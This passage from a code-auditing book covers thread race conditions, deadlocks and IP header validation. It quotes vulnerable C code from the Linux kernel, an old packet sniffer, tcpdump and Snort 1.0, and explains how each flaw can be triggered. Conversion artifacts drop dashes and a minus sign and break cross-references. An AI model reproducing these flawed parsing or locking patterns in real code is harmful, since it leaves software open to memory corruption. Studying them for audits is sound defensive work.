After you've determined that locks are used and the correct synchronization object is 

in place, you can begin to examine code that accesses a shared resource. This process 

involves ensuring that a lock is acquired for the synchronization primitive before 

accessing the resource, and then the primitive is signaled after the operation has 

been completed. This second point is worth keeping in mind because a code path 

could exist in which a synchronization primitive is never unlocked. This code path 

invariably leads to deadlock, discussed in the next section. 
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Paul Starzets, a security researcher with iSec, discovered a major race condition 

vulnerability in the Linux kernel's sys_uselib() system call. (Remember that kernels 

are multithreaded, too.) Starzets pointed out that the sys_brk() function is required 

to hold a semaphore lock specific to a process memory descriptor list (called mmap_sem) 

because it adds an element to the structure by using vma_link(). However, in the 

load_elf_binary() function that sys_uselib() uses, this semaphore is released before 

sys_brk() is called, as shown in Listing 13-3. The down_write() function is used to wait 

on a lock, and the up_write() function is used to release it. 

Listing 13-3. Race Condition in the Linux Kernel's Uselib() 

static int load_elf_library(struct file *file) 

{ 

       down_write(&current->mm->mmap_sem); 

error = do_mmap(file, 

              ELF_PAGESTART(elf_phdata->p_vaddr), 

              (elf_phdata->p_filesz + 

               ELF_PAGEOFFSET(elf_phdata->p_vaddr)), 

              PROT_READ | PROT_WRITE | PROT_EXEC, 

              MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE, 

              (elf_phdata->p_offset - 

               ELF_PAGEOFFSET(elf_phdata->p_vaddr))); 

up_write(&current->mm->mmap_sem); 

if (error != ELF_PAGESTART(elf_phdata->p_vaddr)) 

       goto out_free_ph; 

 

elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz; 

padzero(elf_bss); 

 

len = ELF_PAGESTART(elf_phdata->p_filesz + 

    elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1); 

bss = elf_phdata->p_memsz + elf_phdata->p_vaddr; 

if (bss > len) 

       do_brk(len, bss - len); 

 

Using some inventive exploitation techniques, Starzets demonstrated how to leverag 

this bug for root access on a vulnerable system. You can find more information on this 

vulnerability at www.isec.pl/vulnerabilities/isec-0021-uselib.txt. 

Return value checking is another important part of ensuring that a program is thread 

safe. Of course, checking return values is always important in preventing 

vulnerabilities, multithreaded or not, but this guideline especially applies to 

multithreaded programming. One interesting variation on thread race conditions is a 

http://www.isec.pl/vulnerabilities/isec-0021-uselib.txt
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failure to correctly check return values to make sure the API is functioning as 

expected. Take a look at the following code: 

DWORD processJob(LPVOID arg) 

{ 

    struct element *elem; 

 

    for(;;) 

    { 

 

        WaitForSingleObject(hMutex, MAX_TIME); 

 

        if(queue == NULL) 

            WaitForSingleObject(queueEvent, MAX_TIME); 

 

        elem = queue; 

        queue = queue->next; 

 

        ReleaseMutex(hMutex); 

 

        .. process element .. 

    } 

 

    return 0; 

} 

 

Assume the processJob() function is run by multiple threads, as in the previous 

examples. Notice that the WaitForSingleObject() function's return value is ignored in 

both instances it's called. As you have seen previously, this function can return for a 

number of reasons, including when the maximum time limit to wait has been 

exceeded. Therefore, if MAX_TIME elapses before the mutex is released, this function 

could begin operating on queue when it doesn't actually own the mutex, or it operates 

on queue when the queueEvent object hasn't been signaled. 

Deadlocks and Starvation 

Starvation and deadlock cause a task to never be completed because a thread can 

never be scheduled for execution. The "Windows IPC Synchronization Objects" 

section included an example of a deadlock that resulted from waiting on an event 

object while maintaining ownership of a mutex object. This prevented another thread 

from signaling the necessary event. Deadlocks can be addressed in the Win32 API by 

using the WaitForMultipleObjects() function to wait for an entire set of 

synchronization objects to become signaled. However, this approach might create its 

own issues and result in starvation. These situations are hard to evaluate when 
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auditing code; however, you should note if bWaitAll is set to true, and the number of 

objects is quite large. You also need to consider situations in which it's impossible or 

nearly impossible to have all objects that are being waited on signaled. 

Deadlocks also happen in UNIX threaded programs. In PThreads, deadlocks are more 

likely to occur from the use of multiple mutexes, as shown in this simple example: 

struct interface *interfaces[MAX_INTERFACES]; 

 

int packet_process(int num) 

{ 

    struct interface *in = interfaces[num]; 

    struct packet *pkt; 

 

    for(;;) 

    { 

        pthread_mutex_lock(in->lock); 

 

        pthread_cond_wait(in->cond_arrived, in->lock); 

 

        pkt = dequeue_packet(in); 

 

        if(needs_forwarding(pkt)) 

        { 

            int destnum; 

            struct interface *dest; 

 

            destnum = find_dest_interface(pkt); 

            dest = interfaces[destnum]; 

 

            pthread_mutex_lock(dest->lock); 

            enqueue_packet(pkt, dest); 

            pthread_mutex_unlock(dest->lock); 

 

           in->stats[FORWARDED]++; 

 

            pthread_mutex_unlock(in->lock); 

 

            continue; 

        } 

 

        pthread_mutex_unlock(in->lock); 

 

        .. process packet .. 

    } 
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} 

 

This example shows a classic deadlock situation: Two locks can be held by a single 

thread, and another thread can acquire the same locks in a different order. In this 

example, there's a thread for each network interface to handle dequeuing and dealing 

with arriving packets. If the packet needs to be forwarded, it's added to another 

queue. There's the potential, however, for two competing threads to cause a deadlock 

in this code. The following sequence of events describes how deadlock might occur: 

1. Thread #1 locks interface[1] and dequeues a packet. 

2. Thread #2 interrupts, locks interface[2], and dequeues a packet. 

3. Thread #2 identifies a packet destined for interface[1], so 

pthread_mutex_lock(dest->lock) puts thread #2 to sleep because thread #1 

holds the lock. 

4. Thread #1 regains the processor. It realizes it needs to forward a packet to 

interface[2], so pthread_mutex_lock(dest->lock) puts thread #1 to sleep 

because thread #2 holds the lock. 

Now both threads are unable to do anything because they are waiting on each other 

to release a lock to continue their work. 

When auditing code for deadlocks, you need to evaluate whether multiple primitives 

are locked and held simultaneously by more than one thread. Then you must consider 

whether those threads can lock primitives in a different order to create a condition like 

the one in the previous example. Most threading mechanisms include timed waiting 

functions or use functions that return immediately if a lock is unavailable, which might 

mitigate the threat of deadlocks. However, a timeout that results in terminating the 

program might be noteworthy as a denial of service in itself, particularly if the service 

doesn't restart. 

7.9.6 Summary 

A lot of complexity is introduced when a program can share resources among 

concurrent threads or processes. Serious issues can occur when an application fails to 

handle concurrent access to shared resources. This failure can result in execution 

entities interfering with each other and ultimately corrupting the program to the point 

of a successful compromiseeither by exploitation for elevated privileges or bringing 

the program to a grinding halt. 

You've examined problems in dealing with multiple execution instances 

simultaneously operating on shared resources, including issues with process and 

thread synchronization, and signal handling in UNIX environments. Identifying these 

issues can be extremely difficult and requires detailed analysis of the application's 

concurrent programming elements. However, you should now be familiar with the 
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techniques necessary to perform a thorough and effective assessment of 

vulnerabilities that occur due to synchronization issues. 

 

8. Part III:  Software Vulnerabilities in 

Practice 

Part III: Software Vulnerabilities in 

Practice 

8.1 Chapter 14.  Network Protocols 

"And again, the internet is not something you just dump something on. It's not a truck. It's a 

series of tubes." 

8.1.1 Introduction 

The majority of network-aware computer software leverages the functionality of the 

TCP/IP protocol stack through high-level interfaces, such as BSD sockets, or 

frameworks such as Distributed Component Object Model (DCOM). Some software, 

however, has to work with network data at a lower levela world populated by 

segments, frames, packets, fragments, and checksums. Looking for security 

vulnerabilities in lower-level network software is challenging and captivating work. 

Networking code is a vast topic that can't be covered adequately in one chapter. 

Therefore, this chapter covers the basics, and then offers the authors' thoughts and 

experiences, which should prove useful if you're charged with a related auditing 

project. 

This chapter focuses on three of the core Internet protocols: IP, UDP, and TCP. 

Throughout the discussion, you learn about security issues that tend to plague 

software that implements these protocols. Chapter 15(? [????.]), "Firewalls," covers 

firewall technology, which works closely with these protocols. Finally, Chapter 16(? 

[????.]), "Network Application Protocols," discusses some popular application-layer 

protocols and security issues that tend to surface in the code that implements them. 

Note that the discussion in this chapter is specific to IP version 4the current standard 

for Internet communications. IP version 6, IPv4's successor, is not covered in this 

chapter. 

In the course of reviewing certain software, an auditor might have to examine code 

that deals with low-level network traffic. This processing could include analyzing 

31051536.html
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packets or frames taken directly from the network as well as modifying or fabricating 

packets and placing them directly on the network. This discussion focuses on software 

systems that implement the TCP/IP networking protocols and on systems that 

analyze and intercept network traffic, as they tend to be more security critical devices 

in a network. Your most common projects involving TCP/IP protocol implementations 

will most likely be one of the four following product types: 

 TCP/IP stacks residing on end hosts The TCP/IP stack is the centerpiece of 

data exchange between two or more hosts on an IP network. Typically located 

in an OS kernel, the IP stack hides details of network state and data delivery 

from user applications. Applications are given a clean and simple interface so 

that they don't need code to deal with network problems, retransmissions, 

error message processing, and the like. 

 Products that provide routing, Network Address Translation (NAT), or 

load-balancing services Multihomed hosts might be required to route data 

between their interfaces as dictated by a static set of simple routing rules, or 

a dynamic rule set that's continuously updated through the use of routing 

protocols. This routing functionality is really an extension of the basic IP stack, 

and most end hosts can be configured to act as a router. Naturally, dedicated 

routing products are often much more complicated. In addition to routers, 

load-balancing products are charged with dividing incoming data for a host 

between a number of end hosts, thus enabling requests to a single host to be 

served in parallel and speeding up access time to clients for high-volume 

servers. 

 Security products: firewalls and intrusion detection/prevention systems A 

number of security products are required to analyze packets traversing 

networks that they are protecting. These products make decisions based on 

attributes of the packets or the data in them. Often attackers will attempt to 

exploit subtle flaws caused by differences between how the security product 

evaluates the packets and how the end host evaluates those same packets. 

 Network-monitoring products Several tools passively listen on a network and 

interpret the contents of packets being transmitted. They are often used for 

diagnosing network issues or for administrators to get a better idea of the kind 

of data sent over a network. These tools provide not only packet 

interpretations, but also statistical data based on protocol analysis. They are 

often required to simply interpret packets and optionally log some sort of 

information, as opposed to acting on packets as other products do. 

The codebases for performing packet analysis at this level are generally quite large, 

so auditors faced with reviewing these codebases might consider it an 

insurmountable task. This chapter has been included to give code reviewers a primer 

on some major protocols within a standard TCP/IP suite and to highlight some of the 

problem areas where mistakes are most likely to be made. You learn how to audit 

several major components of IP stacks and use the knowledge you gained in Part II(? 

[????.]), "Software Vulnerabilities," of this book. Although firewall technologies aren't 
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covered in depth until Chapter 15(? [????.]), many of the concepts in this chapter are 

essential for understanding how firewalls make policy decisions and what possible 

evasion techniques exist for circumventing them. 

 

8.1.2 Internet Protocol 

Internet Protocol (IP) is the core network-layer protocol of the TCP/IP protocol 

suite. It's a pervasive protocol, used by innumerable hosts worldwide to deliver data 

across the Internet and private networks. It provides an infrastructure so that 

computers can locate each other with unique identifiers (IP addresses) and exchange 

blocks of data (known as IP datagrams). IP is designed to abstract the physical details 

of networking hardware so that communication can happen more or less seamlessly. 

At the level immediately below IP, you find protocols targeted to specific networking 

hardware, such as Ethernet and token ring. Sitting on top of IP, you find protocols 

such as TCP that provide features such as ports, connections, and reliable delivery of 

data. 

Naturally, any host participating in a TCP/IP based network must be able to correctly 

process incoming IP datagrams. The host performs this processing immediately upon 

reception of a packet, and makes decisions on how the packet should be 

handledwhether that includes passing it to a higher-level protocol handler in the 

network stack (such as TCP or UDP), signaling an error because the packet cannot be 

processed, or blocking the packet because it fails to meet criteria of a firewall or other 

similar data inspection software. 

Because of the placement of IP in the network stack and the role it plays, it is an 

attractive strategic target for attackers trying to penetrate a system or network. They 

can target errors in processing IP datagrams to exploit devices and hosts, or attempt 

to fool security systems (firewalls, IDSs, IPSs) by leveraging some of the unusual 

nuances of IP stacks. A large codebase dealing entirely with untrusted user data 

received from a remote location is always a prime candidate for code reviewers 

because it represents a major attack surface. 

Before you dive into how to audit IP processing code, you should briefly review the 

basics of how IP works. As mentioned, the discussion in this chapter is specific to IP 

version 4commonly written as IPv4. Interested readers can get a more 

comprehensive analysis from several sources on the subject, particularly RFC 791 

(www.ietf.org) and TCP/IP Illustrated, Volume 1 by W. Richard Stevens 

(Addison-Wesley, 1994(? [????.])). 

IP Addressing Primer 

http://www.ietf.org/
31051536.html
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Identifying weaknesses in IP processing code is more than just finding low-level flaws 

such as integer wraps or buffer overflows; you also must recognize logic problems 

with how traffic is processed. This requires a good working knowledge of how basic 

routing is performed, so that you can assess how potentially dangerous packets arrive 

at a destination, and where they can originate from. As such, the following 

paragraphs are dedicated to providing a brief examination of the IP routing facilities 

present on a typical host. 

To communicate with other hosts on a network, a machine must have at least one 

network interface. A network interface is simply a network device that contains a 

unique hardware address and can be used to send and receive data over a network. 

A network interface is a software abstraction provided by the OS kernel in that it's a 

virtual device, though it obviously must be associated with a physical network device 

if you expect to send data to external nodes. Although it is possible to have several 

interfaces associated with a single network hardware device, the most common 

configuration for a standard host is to have just one interface per network device. 

Having multiple interfaces tied to the same network device is useful in a number of 

situations, such as establishing virtual networks over existing connected networks, or 

when a single machine needs to have more than one IP address on a network 

(perhaps because it's hosting a virtual machine). 

On an IP network, each connected interface has an IP address, which is a 32-bit 

value that uniquely identifies a host on the network that they are connected to. An IP 

address can be further broken down into two variable length bitfieldsa network ID and 

a host ID. The network ID indicates the sub-network (commonly called the subnet) 

that the host belongs to, and the host ID uniquely identifies the host on that particular 

network. 

Historically, the IP address space was broken down into several classes, and an IP 

address's network ID was determined by which class it belonged to. Classes predate 

the classless subnetting used today, but they are still relevant in some circumstances 

because certain classes are reserved for special use. The five address classes, class A 

through class E, are summarized here: 

 Class A a class A address has the most significant bit of the IP address set to 

0, followed by 7 bits indicating the network ID. Thus, there are 24 bits 

remaining for host IDs, allowing for a large number of hosts to exist on the 

class A network (16, 777, 216 to be precise, although, as you see shortly, 

some IPs are reserved for special use). 

 Class B class B IP addresses start with the leading bits "10", followed by a 

14-bit network ID. This leaves 16 bits for host IDs, making class B's 

considerably smaller than class A networks (although there can be more class 

B's, because the network ID is larger). 

 Class C class C IP addresses begin with the leading bits "110" and have 21 

network ID bits following. The host ID is therefore only 8 bits, so they are 
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much smaller than class B networks, with only 256 unique IP addresses 

available on each class C. 

 Class D class D IP addresses begin with the leading bits "1110" but have no 

following network ID bits. Class D IP addresses are especially reserved as 

multicast addresses. A multicast address allows a single IP address to refer 

to multiple hosts. You revisit multicast addresses at various stages throughout 

this chapter and Chapter 15(? [????.]). 

 Class E class E addresses begin with the leading bits "1111" and also have no 

following network ID bits. Class E is for experimental use and should not be 

routed. 

The problem with using address classes is that there are only a limited number of 

networks available, a number of which are reserved for various special purposes. 

Furthermore, the fixed-size IP address classes might not be appropriately sized for 

certain networks. For example, if you had 280 nodes on a network, you have just a 

few too many for a class C, but are only using up a fraction of a class B. As such, 

today's IP implementations allow for arbitrary sized network IDs. The network ID for 

an IP address is determined by the network mask (also known as the subnet mask, or 

netmask), which simply indicates which bits of the IP address are reserved for the 

network ID. Network masks can be expressed in one of two ways; in netmask 

notation or in classless inter domain routing (CIDR) notation. Netmask notation 

involves writing a hosts IP address followed by a bitmask with every network ID bit 

set to 1 and every host ID bit set to 0. For example, if you had the IP address 

192.168.2.100 and the first 24 bits were used to specify the network ID, it would be 

written as 192.168.2.100/255.255.255.0. With CIDR notation, you express the 

netmask by writing the IP address followed by the size in bits of the network ID. 

Returning to our previous example of 192.168.2.100 with a 24 bit network ID, it 

would be written as 192.168.2.100/24. 

The network ID is used to subclass the entire IP address space into smaller, more 

manageable sub-networks. Breaking down networks this way enforces hierarchy 

upon the otherwise unstructured address space and eases the job of routing packets 

by keeping tables of network ranges rather than tables of individual nodes, as you will 

see shortly. 

So, IP networks are subdivided into subnets, which are groups of hosts that share the 

same subnet mask and network ID. All hosts in a subnet can talk to each other 

through the data link layer. Lower-level protocols such as the Address Resolution 

Protocol (ARP) help machines map data-link layer addresses to IP addresses so that 

they can figure out how to talk to machines on the same subnet. ARP is an integral 

part of the TCP/IP suite, and interested readers are encouraged to read more about it 

at http://en.wikipedia.org/wiki/Address_Resolution_Protocol, or from RFC 826 

(www.ietf.org/rfc/rfc0826.txt?number=). 

http://en.wikipedia.org/wiki/Address_Resolution_Protocol
http://www.ietf.org/rfc/rfc0826.txt?number=826
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A typical IP machine has one active interfaceone connection to a network. Machines 

that form the routing infrastructure of IP networks have more than one interface and 

are responsible for routing packets between their interfaces. These machines are 

called gateways or routers. 

If a machine wants to send an IP datagram, it looks at its routing table, which has a 

list of simple rules. In general, a host can directly send packets only to another host 

in the same subnet. If a computer wants to talk to another computer in the same 

subnet, its routing table tells it which interface to send the packet out on. If a 

computer wants to talk to a host on another subnet, its routing table tells it which 

computer on its subnet is responsible for routing packets to the destination subnet. 

Naturally, the process is more complex in large networks, but this description is the 

basics of how packets move across the Internet. 

Several special IP addresses are quite important from a security perspective. Say 

your IP address is 10.20.30.40, and your network mask is 255.255.255.0. This 

means your subnet contains the 256 addresses between 10.20.30.0 and 

10.20.30.255. 10.20.30.0 is called the subnet address, and any packet sent to that 

address is usually picked up by a subset of the hosts in the network. The address 

10.20.30.255 is the directed subnet broadcast address, and packets destined there 

are picked up by all hosts in the subnet. The special address 255.255.255.255 also 

functions as a subnet broadcast address for the sender's local subnet. The security 

implications of these addresses are addressed in the discussion of firewall spoofing 

attacks in Chapter 15(? [????.]). 

IP Packet Structures 

The basic transmission unit for sending data using IP is the IP packet. An IP packet 

is a discrete block of data prepended with a header that contains information 

necessary for routing the packet to the appropriate destination. The term IP 

datagram is often used interchangeably with IP packet, and they are effectively 

synonymous. An IP datagram can be fragmented into smaller pieces and sent to the 

destination as one or more fragments. These fragmented packets are reassembled at 

the destination into the original IP datagram. 

The basic header definition for an IPv4 packet is shown in Figure 14-1. The IP packet 

header defines a small set of data elements (fields) used to help deliver the packet to 

its specified destination. The following list describes these fields: 

 IP version (4 bits) This field specifies the IP version of the datagram being 

transmitted. You're primarily concerned with IP version 4, as it's the version 

used on most IP networks. IP version 6, the next version of the IP protocol, 

has been in development for some time and now is supported by most OSs 

and some auxiliary products but is not discussed in this chapter. 
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 Header length (4 bits) This field specifies the length of the IP header in 32-bit, 

4-byte words. A standard IP header is 20 bytes long, which gives this field a 

normal value of 5. Variable-length optional data elements can be included at 

the end of the IP header, extending its length to a maximum of 60 bytes 

(making the header length 0x0F). 

 Type of service (TOS, 8 bits) The TOS field defines attributes of the requested 

quality of service. Most modern IP stacks effectively ignore this field. 

 Total length (16 bits) This field defines the size of the datagram being 

transmitted in bytes. It includes the number of bytes in the IP header and the 

number of bytes following the header that constitute the data portion of the 

packet. Therefore, the amount of data an IP packet is delivering can be 

calculated as its header length subtracted from its total length. 

 IP identification (16 bits) This field contains a unique identifier for the 

datagram. Its primary purpose is to identify a series of IP packets as all being 

part of the same IP datagram. In other words, if an IP datagram is fragmented 

in transit, all the resulting IP fragments have the same IP ID. 

 Flags (3 bits) The flag bits are used for fragmentation processing. There are 

two flags (and one reserved bit). The DF (don't fragment) flag indicates that 

the packet must not be fragmented. The MF (more fragments) flag indicates 

that more fragments on their way to complete the IP datagram. 

 Fragment offset (13 bits) This field indicates where the data in this IP packet 

belongs in the reassembled IP datagram. It's specified in 64-bit, 8-byte 

chunks, with a maximum possible value of 65528. This field is explained in 

more detail in "Fragmentation" later in this chapter. 

 Time to live (TTL, 8 bits) This field indicates how many more routers the 

datagram can pass through before it's discarded and an error is returned to 

the sender. Each intermediate machine that routes an IP packet decrements 

the packet's TTL. If the TTL reaches 0, the packet is discarded and an ICMP 

error message is sent to the originator. This field is used mostly to ensure that 

packets don't get caught in routing loops, where they bounce between routers 

in an infinite loop. 

 Protocol (8 bits) This field indicates the protocol of the data the packet is 

delivering. Typically, it specifies a transport-layer protocol (such as UDP or 

TCP), but it can also specify a tunneling protocol, such as IP packets 

encapsulated inside IP (IPIP), or IPv6 over IPv4, or an error or control protocol, 

such as Internet Control Message Protocol (ICMP). 

 Header checksum (16 bits) This field is a 16-bit ones complement checksum of 

the IP header (along with any options that are included). It's used to ensure 

that the packet hasn't been modified or corrupted in transmission. 

 Source IP address (32 bits) This field indicates the sender of the datagram. 

This information isn't verified, so it's possible to forge datagrams to make it 

look as though they come from a different source. The ability to forge 

datagrams is widely considered a major security shortcoming in IP version 4. 
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 Destination IP address (32 bits) This field specifies the destination of the 

datagram. IP addresses generally denote a single destination host, although 

some special addresses can be interpreted as broadcast or multicast 

destinations. 

Figure 14-1. IPv4 header diagram 

 

 

 

Basic IP Header Validation 

Before software can safely work with an IP datagram, the fields that make up the IP 

header need to be validated to ensure that the packet is legitimate. If IP processing 

code fails to adequately check the fields within an IP header, it will most likely be 

exposed to a range of potential problems. The consequences of insufficient validation 

depend on where the IP processing code resides in the system; failures in kernel 

mode processing or in embedded devices tend to have more dramatic effects than 

failures in userland processes. These effects can range from memory management 

related problems (such as a crash of the application or device, or even exploitable 

memory corruption conditions) to passing packets up to higher layers in ways that 

can cause problems with state and, ultimately, system integrity. The following 

sections examine some common points of inquiry. 

Is the Received Packet Too Small? 

Typically, an IP datagram is passed to the IP stack from a lower-level networking 

layer that hands over the data for the packet in a buffer and states how many bytes 

of data are in the packet. 

Before this data can be processed as though it's a valid IP header, you have to make 

sure you get at least 20 bytesthe minimum size of a valid IP header. If an 

implementation overlooks this check, it's likely to read memory that isn't a legitimate 

part of the packet. This oversight normally wouldn't lead to a major security impact 
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unless perhaps the data is read from an unmapped page, generating a memory 

access violation. 

In the worst-case scenario, however, the IP processing code neglects to check the 

packet size at all, and then uses it in a way that's vulnerable to numeric overflows. For 

example, consider the following packet sniffer. (The author's name has been omitted 

because the example is old and no longer in use.) 

void 

do_pcap(u_char * udata, const struct pcap_pkthdr * hdr, 

    const u_char * pkt) 

{ 

  if (hdr->caplen < ETHER_HDR_LEN) 

    return; 

  do_ethernet(pkt, hdr->caplen); 

} 

 

This code is a standard pcap callback function. The pkt parameter points to the packet 

data, and the hdr->caplen value is the amount of data taken from the network. The 

code ensures there's enough packet data for an Ethernet header, and then calls this 

function: 

int do_ethernet(const u_char * pkt, int length) 

{ 

  char buffer[PCAP_SNAPLEN]; 

  struct ether_header *eth = (void*) pkt; 

  u_char *ptr; int i; 

 

  if (ntohs(eth->ether_type) != ETHERTYPE_IP) 

    return 0; 

  memcpy(buffer, pkt + ETHER_HDR_LEN, length - ETHER_HDR_LEN); 

 

  ... code edited for brevity ... 

 

  return do_ip((struct ip*)buffer, length - ETHER_HDR_LEN); 

} 

 

The preceding code copies the Ethernet payload into a buffer and calls do_ip(), 

passing that buffer and the length of the payload. Here's the code for do_ip(): 

int do_ip(const struct ip * ip, int length) 

{ 

  char buffer[PCAP_SNAPLEN]; 
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  int offset = ip->ip_hl << 2; 

 

  printf("LAYER_3 -> IPv %d\t", ip->ip_v); 

  printf("sIP %s\t", inet_ntoa(ip->ip_src)); 

  printf("dIP %s\t", inet_ntoa(ip->ip_dst)); 

  printf("protokols %d\n", ip->ip_p); 

 

  memcpy(buffer, (void*)ip + offset, length - offset); 

 

  switch(ip->ip_p) { 

 

The do_ip() function calculates offset, which is the IP header length field taken from 

the packet. At this point, it could be almost anything you wanted. The code then 

copies length offset bytes to another local stack buffer. Assume you make ip_hl the 

normal value of 5 so that offset is 20. If you have sent only 10 bytes of Ethernet 

payload, the memcpy()s count argument is -10, thus resulting in a large copy into the 

destination buffer. A vulnerability of this nature has only a limited impact, as these 

types of packets usually aren't routable and, therefore, can be sent only on a local 

network segment (unless the packet is encapsulated, an issue discussed in Chapter 

15(? [????.]), "Firewalls"). 

Does the IP Packet Contain Options? 

IP packets have a variable-length header that can range between 20 and 60 bytes. 

The header size is specified in the first byte of the IP packet by the IP header length 

field. IP headers are usually just 20 bytes in length and have no options attached. IP 

processing code can't just assume the header is 20 bytes, however, or it will run into 

trouble quickly. For example, many password sniffers used to read data from the 

network into the following structure: 

struct etherpacket { 

    struct ethhdr       eth; 

    struct iphdr       ip; 

    struct tcphdr       tcp; 

char                    data[8192]; 

}; 

 

The sniffers would then parse packets by looking at the ip and tcp structures. 

However, this processing worked only for the minimum length ip and tcp headers, 

both 20 bytes. Packets with any options set in IP or TCP aren't decoded correctly, and 

the sniffer will misinterpret the packet. For example, if the IP header has options 

attached, they will mistakenly be interpreted as the next layer protocol header (in this 
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case, TCP). Therefore, the sniffer will see the packet with totally different TCP 

attributes than it really has. 

Is the IP Header Length Valid? 

Certain values for the IP header length are invalid and might cause problems if they're 

not accounted for correctly. Specifically, the IP header must be at least 20 bytes, so 

the IP header length must be at least 5 (recall that it's multiplied by 4 to get the actual 

IP header size). Any value less than 5 is invalid. For an example of this problem, look 

at an excerpt of code from an older version of the tcpdump utility: 

/* 

 * print an IP datagram. 

 */ 

void 

ip_print(register const u_char *bp, register u_int length) 

{ 

    register const struct ip *ip; 

    register u_int hlen, len, off; 

    register const u_char *cp; 

 

    ip = (const struct ip *)bp; 

 

... code edited... 

 

    hlen = ip->ip_hl * 4; 

 

... code edited... 

 

        if ((hlen -= sizeof(struct ip)) > 0) { 

            (void)printf("%soptlen=%d", sep, hlen); 

            ip_optprint((u_char *)(ip + 1), hlen); 

        } 

 

When ip_print() is called, tcpdump calculates the header length, hlen, by multiplying 

ip_hl by 4, but it doesn't check whether ip_hl is at least 5 to begin with. Then it 

checks to make sure (hlen -= sizeof(struct ip)) is higher than 0. Of course, this 

check would prevent an underflow if hlen wasn't an unsigned integer. However, 

because hlen is unsigned, the result of this expression is a very large positive number. 

As a result, the validation check is passed, and the ip_optprint() function is given an 

infinite amount of memory to analyze. 

Is the Total Length Field too Large? 
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After enough data has been read in to obtain the IP header, IP processing code needs 

to examine the total length field. This value specifies the length in bytes of the total 

IP packet, including the header. The code must verify that enough packet data has 

been received from the network to match the total length specified in the IP header. 

If there isn't enough data in the packet to match this length, the program runs the risk 

of reading past the received packet contents into adjacent memory locations. 

Are All Field Lengths Consistent? 

Three different lengths are at play in an IP header: the amount of data received from 

the network, the length of the IP header specified in the header length field, and the 

length of the total packet specified in the total length field. These fields must be 

consistent, and the following relationships must hold: 

IP header length <= data available 

20 <= IP header length <= 60 

IP total length <= data available 

IP header length <= IP total length 

Failure to enforce any of these conditions is likely to have consequences in the form 

of memory corruption due to integer wrapping problems. For example, consider what 

happens if the header length field is set to an invalid value in relation to the total 

length field. The total length field must specify that the packet is at least as many 

bytes as the header length field, because it makes no sense to have an IP header that 

is larger than the total IP packet length. A good example of a malformed packet is one 

with a header length of 60 bytes, but a total length of 20 or fewer bytes. Take a look 

at this example: 

int process_ip_packet(unsigned char *data) 

{ 

    unsigned int header_length, total_length, data_length; 

    struct iphdr *iph; 

    ... 

    iph = (struct iphdr *)data; 

 

    header_length = ntohs(iph->hl); 

    total_length = ntohs(iph->tot_len); 

 

    data_length = total_length  header_length; 

 

    ... validate ip header ... 
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    switch(iph->protocol){ 

        case IPPROTO_TCP: 

            return process_tcp_packet(data + header_length, 

data_length); 

            ... 

 

If the total length is smaller than the header length, the data_length value underflows 

and the process_tcp_packet() function thinks the packet's data length is huge 

(around 4GB). Invariably, this error leads to memory corruption or an attempt to 

access data out of bounds (probably when performing a TCP checksum, as the code 

tries to checksum around 4GB of data). 

Now take a look at a real-world example to see whether you can spot the oversights 

in it. This code is from the 1999-era Snort 1.0, which has been edited slightly for 

brevity: 

void DecodeIP(u_char *pkt, const int len) 

{ 

   IPHdr *iph;   /* ip header ptr */ 

   u_int ip_len; /* length from the start of the ip hdr 

      to the pkt end */ 

   u_int hlen;   /* ip header length */ 

 

   /* lay the IP struct over the raw data */ 

   iph = (IPHdr *) pkt; 

 

   /* do a little validation */ 

   if(len < sizeof(IPHdr)) 

   { 

      if(pv.verbose_flag) 

         fprintf(stderr, "Truncated header! (%d bytes)\n", len); 

      return; 

   } 

 

So far, so good. There are checks in place to ensure that the packet has at least 20 

bytes of data from the network before the code proceeds much farther. Next, the 

code makes sure the packet has at least as many bytes as are specified in the IP 

header: 

   ip_len = ntohs(iph->ip_len); 

 

   if(len < ip_len) 
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   { 

      if(pv.verbose_flag) 

      { 

         fprintf(stderr, 

                 "Truncated packet! Header says %d bytes, 

             actually %d bytes\n", 

                 ip_len, len); 

         PrintNetData(stdout, pkt, len); 

      } 

      return; 

   } 

 

The IP header looks valid so far, so IP options are parsed (if present): 

/* set the IP header length */ 

hlen = iph->ip_hlen * 4; 

 

 

if(hlen > 20) 

{ 

   DecodeIPOptions( (pkt + 20), hlen - 20); 

} 

 

Uh-oh! The code hasn't checked to make sure the packet has enough bytes to contain 

hlen and hasn't checked to see whether the total length is big enough to contain hlen. 

The result is that DecodeIPOptions() reads past the end of the packet, which probably 

isn't too catastrophic. Continuing on: 

   /* check for fragmented packets */ 

   ip_len -= hlen; 

   pip.frag_off = ntohs(iph->ip_off); 

 

      /* move the packet index to point to the transport 

        layer */ 

      pktidx = pktidx + hlen; 

 

      switch(iph->ip_proto) 

      { 

         case IPPROTO_TCP: 

                      net.proto = IPPROTO_TCP; 

                      strncpy(pip.proto, "TCP", 3); 

                      DecodeTCP(pktidx, len-hlen); 

                      return; 
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This code has several problems, including the following: 

 ip_len can be anything, as long as it's not higher than the amount of data 

available. So it could be less than 20, greater than 20 but less than the header 

length, or greater than the header length but less than the amount of data 

available. 

 In fact, Snort ignores ip_len entirely, instead using the amount of data read 

from the network for its calls to upper-layer functions, such as DecodeTCP(). 

 If ip_hlen is less than 5 (and, therefore, hlen is less than 20), the packet 

decoding starts reading the TCP header inside the IP header. At least it won't 

try to decode options. 

 If ip_hlen is greater than ip_len and also greater than 20, the code decodes IP 

options that are past the packet's boundaries. In other words, the 

DecodeIPOptions() function attempts to interpret undefined memory contents 

as IP options. 

 If ip_hlen is greater than the amount of data available, all the length 

calculations are going to underflow, and the TCP decoder assumes there's a 

4GB TCP packet. 

Is the IP Checksum Correct? 

The IP checksum is used as a basic mechanism to ensure that the packet header 

hasn't been corrupted en route. When the IP stack receives a new packet, it should 

verify that the checksum is correct and discard the packet if the checksum is 

erroneous. Any IP processing code that fails to do this verification is interpreting 

packets that should be ignored or dropped. 

It's rare to find code that fails to verify the checksum; however, this error might 

surface occasionally in packet-sniffing software. Although accepting a packet 

erroneously has a fairly minimal impact in this context, it might prove useful for 

attackers trying to evade intrusion detection. Attackers could send a packet that looks 

like it closes a connection (such as a TCP packet with the FIN or RST flags set) so that 

when the packet sniffer sees it, it stops monitoring the connection. The end host, 

however, silently ignores the packet with the invalid checksum. This result is more 

interesting in TCP checksums because those packets are routed. 

IP Options Processing 

IP options are optional variable-length elements that can be added to the end of an 

IP header to convey certain information from the sender to the destination (or 

intermediate routers). Options can modify attributes of the packet, such as how the 

datagram should be routed and whether timestamps should be added. A maximum of 
